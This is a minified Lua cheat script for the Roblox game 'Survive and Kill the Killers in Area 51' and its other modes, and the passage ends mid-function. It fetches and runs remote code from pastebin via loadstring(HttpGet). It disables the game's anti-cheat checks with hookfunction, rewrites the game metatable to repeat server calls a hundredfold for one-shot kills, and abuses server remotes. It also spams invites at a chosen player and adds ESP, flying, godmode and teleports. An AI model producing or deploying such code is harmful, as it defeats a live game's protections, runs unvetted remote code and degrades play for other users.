h=game:GetService("VirtualUser")local i=game:GetService("TweenService")local j=game:GetService("UserInputService")local k=game:GetService("Players").LocalPlayer;local l=game.Workspace.CurrentCamera;local m=loadstring(game:HttpGet("https://api.irisapp.ca/Scripts/IrisBetterNotifications.lua"))()local n=loadstring(game:HttpGet("https://pastebin.com/raw/en4Ma7jr"))()local o="BloodTheme"local p=get_thread_context or get_thread_identity or getidentity or syn_context_get;getgenv().syn_context_get=newcclosure(function(...)return p(...)end)if game.PlaceId==2092166489 then function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)m.Notify("Survive and Kill the Killers UI","Loaded","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})local x=n.CreateLib("Classic Mode UI",o)local y=x:NewTab("Autofarm:")local z=y:NewSection("Enable/Disable Autofarm")local function A()local B=workspace.CurrentCamera;local C=k.Character;local D=k;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end end;local function J()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.StarterGear end end;for K,v in pairs(game:GetService("Players").LocalPlayer.StarterGear:GetChildren())do if v:IsA("Tool")then v.Parent=game.Players.LocalPlayer.Backpack end end end;local function L()for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end;local function N()for K,v in pairs(game:GetService("Workspace").AREA51.SewerCaptainRoom["Captain Zombie Feeder"].Cage:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end;local function O()local P=k.Character.HumanoidRootPart;function GetWepons(Q)firetouchinterest(P,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end;z:NewToggle("//Autofarm \\","Enables Autofarm for SAKTK",function(R)if R then n:ToggleUI()m.Notify("Enabled Autofarm","Press F to Enable the SAKTK UI to disable autofarm.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})L()N()O()k.CameraMode=Enum.CameraMode.LockFirstPerson;for K,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k.Character end end;game:GetService("StarterGui").TailsPopup.Enabled=false;game:GetService("Players").LocalPlayer.PlayerGui.TailsPopup.Enabled=false;game:GetService("Workspace").Killers:FindFirstChild("Giant"):Destroy()for K,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then repeat wait()mouse1press()l.CoordinateFrame=CFrame.new(l.CoordinateFrame.p,v.Head.CFrame.p)k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-5 until v.Zombie.Health==0;wait()end end else workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)z:NewButton("Unlock all Secrets","Unlocks all the secrets in the game",function()O()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.RadioactiveArea.GiantZombieRoom.GiantZombieEngine.Close.Door2,0)function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("Paper")or v.Name:match("Reward")then GetWepons(v)end end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("TheButton")then GetWepons(v)end end;firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.PlantRoom["Box of Shells"].Box,0)wait(0.2)local a1=k.Character.HumanoidRootPart.CFrame;k.Character.HumanoidRootPart.CFrame=CFrame.new(game:GetService("Workspace").AREA51.ExecutionRoom.Reward.Position)wait(0.2)game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer("M14")k.CFrame=CFrame.new(326.773315,511.5,392.70932,0.982705772,0,-0.185173988,0,1,0,0.185173988,0,0.982705772)end)z:NewButton("Get all Badges","Gives almost every badge.",function()O()firetouchinterest(a,game:GetService("Workspace").AREA51.SecretPath6.Reward)for a2,v in pairs(game:GetService("Workspace").AREA51.Badges:GetDescendants())do if v:IsA("TouchTransmitter")and v.Parent:IsA("Part")then firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,0)wait()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,1)end end end)z:NewButton("Get Gamepasses","Tries to give you gamepasses.",function()game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()game.Players.LocalPlayer.Character.Humanoid.Died:Connect(function()wait(8)game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()J()end)end)z:NewButton("Get Code for Door","Please walk after clicking this.",function()m.Notify("Get Code","Enabled Please walk forward the first number is the first numeral for the door.","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})for a2,v in pairs(game:GetService("Workspace").AREA51.CodeModel:GetDescendants())do if v:IsA("Part")then wait(.33)v.CFrame=game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame end end end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP","Crossbow","Desert Eagle"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Doors AREA51:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("Teleports")z:NewDropdown("Weapon Teleports","DropdownInf",{"M14","RILG","R870","CLT1","SBG","SVD","Code-Door"},function(ag)local hum=k.Character.HumanoidRootPart;local aj=hum.CFrame;if ag=="M14"then hum.CFrame=CFrame.new(106.981911,323.620026,678.865051,0.108975291,-4.31107949e-08,0.994044483,-5.13666043e-09,1,4.39322072e-08,-0.994044483,-9.89359261e-09,0.108975291)wait(.2)hum.CFrame=CFrame.new(aj)elseif ag=="RILG"then hum.CFrame=CFrame.new(232.505737,373.660004,45.4774323,-0.999948323,-2.07754458e-09,0.0101688765,-3.00104475e-09,1,-9.08010804e-08,-0.0101688765,-9.08269016e-08,-0.999948323)elseif ag=="R870"then hum.CFrame=CFrame.new(143.435638,333.659973,499.670258,0.068527095,6.73678642e-08,-0.997649252,2.92282767e-08,1,6.95342521e-08,0.997649252,-3.39245503e-08,0.068527095)elseif ag=="CLT1"then hum.CFrame=CFrame.new(60.6713562,291.579956,262.712402,-0.0193858538,1.378409e-07,0.999812067,1.73167649e-08,1,-1.37531046e-07,-0.999812067,1.46473536e-08,-0.0193858538)elseif ag=="SBG"then hum.CFrame=CFrame.new(3.0812099,267.780121,184.758041,-0.998869121,3.20666018e-08,-0.0475441888,3.84712493e-08,1,-1.33794302e-07,0.0475441888,-1.35472078e-07,-0.998869121)elseif ag=="SVD"then hum.CFrame=CFrame.new(181.740906,306.660126,179.980011,-0.977237761,-295549789e-08,0.212145314,-3.5164706e-08,1,-2.25858496e-08,-0.212145314,-2.95278366e-08,-0.977237761)elseif ag=="blRU"then hum.CFrame=CFrame.new(19.2511063,313.500336,204.38269,0.113481902,7.8155864e08,0.993540049,-2.13239897e-08,1,-7.62284031e-08,-0.993540049,-1.25357014e-08,0.113481902)end end)z:NewDropdown("Teleport to Room","DropdownInf",{"Cafe-Room","Cartons-Room","Code-Door","Computers-Room","Corridor-to-Meeting-Room","Electricity-Room","Emergency-Hole-Down-To-Area","Entrance-To-Area","Main-Room","Entrance"},function(ag)if ag=="Cafe-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CafeRoom.Tables.Table.Table.Model.Part.CFrame elseif ag=="Cartons-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(149.739914,313.500458,194.231888,0.442422092,6.81004985e-06,-0.896806836,1.24363009e-06,1,8.20718469e-06,0.896806836,-4.74633543e-06,0.442422092)elseif ag=="Code-Door"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Door.CFrame elseif ag=="Computers-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(219.700012,310,370.399994,-1,0,0,0,1,0,0,0,-1)elseif ag=="Corridor-to-Meeting-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CorridorToMeetingRoom.Part.CFrame elseif ag=="Electricity-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.ElectricityRoom.Generator1.Base.CFrame elseif ag=="Emergency-Hole-Down-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EmercencyHoleDownToArea.Part.CFrame elseif ag=="Entrance-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EntranceOfArea.Part.CFrame elseif ag=="Main-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.MainRoom.Part.CFrame elseif ag=="Entrance"then hum.CFrame=CFrame.new(327.317322,511.5,397.900269,1,-2.05416537e-08,-2.7642145e-15,2.05416537e-08,1,1.25194637e-08,2.50704388e-15,-1.25194637e-08,1)elseif ag=="Code-Door"then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Enter end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)elseif game.PlaceId==155382109 then local o="BloodTheme"local x=n.CreateLib("Main Menu UI",o)local y=x:NewTab("Main:")local z=y:NewSection("You're currently in the main menu.")z:NewTextBox("Enter Username","Enter Name.",function(ak)_G.getText=ak end)z:NewToggle("Spam-Send-Invites","Automatically sends a invite every 5 seconds.",function(R)if R then _G.autoSend=true;while wait()do if _G.autoSend==true then if _G.getText==""then m.Notify("Please enter a Username.","","http://www.roblox.com/asset/?id=261113606",{Duration=9,Main={Rounding=true}})end;local ad={[1]=game:GetService("Players")[_G.getText]}game:GetService("ReplicatedStorage").BossRushFunctions.RequestJoin:InvokeServer(unpack(ad))end end else _G.autoSend=false end end)z:NewButton("Spam Join Storming","Spam Joins and Leaves Storming",function()_G.spam=true;while wait()do if _G.spam==true then game:GetService("ReplicatedStorage").StormingEvents.JoinRequested:FireServer()wait(.1)game:GetService("ReplicatedStorage").StormingEvents.LeaveRequested:FireServer()end end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("ReplicatedStorage").StormingEvents.JoinRequested:FireServer()end)elseif game.PlaceId==6054929905 then local o="BloodTheme"local x=n.CreateLib("Boss Rush Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("")z:NewToggle("Autofarm Boss:","Enables Autofarm for Killers",function(R)if R then m.Notify("Enabled Autofarm for Boss","This is buggy.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})local l=game.Workspace.CurrentCamera;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end;_G.autoFarm=true;while wait(0.5)do if _G.autoFarm==true then for a2,v in pairs(game:GetService("Workspace").AREA51.Map.Boss:GetChildren())do if v:IsA("Part")and v.BrickColor==BrickColor.new("New Yeller")then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=v.CFrame end end;for a2,v in pairs(game:GetService("Workspace").AREA51.Map.Boss:GetChildren())do if v:IsA("Part")and v.BrickColor==BrickColor.new("Really red")then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=v.CFrame end end end end else G.autoFarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)z:NewToggle("Remove Cutscenes","Removes cutscenes from Area-51-Game",function(R)if R then _G.cutScene=true;while wait()do if _G.cutScene==true then 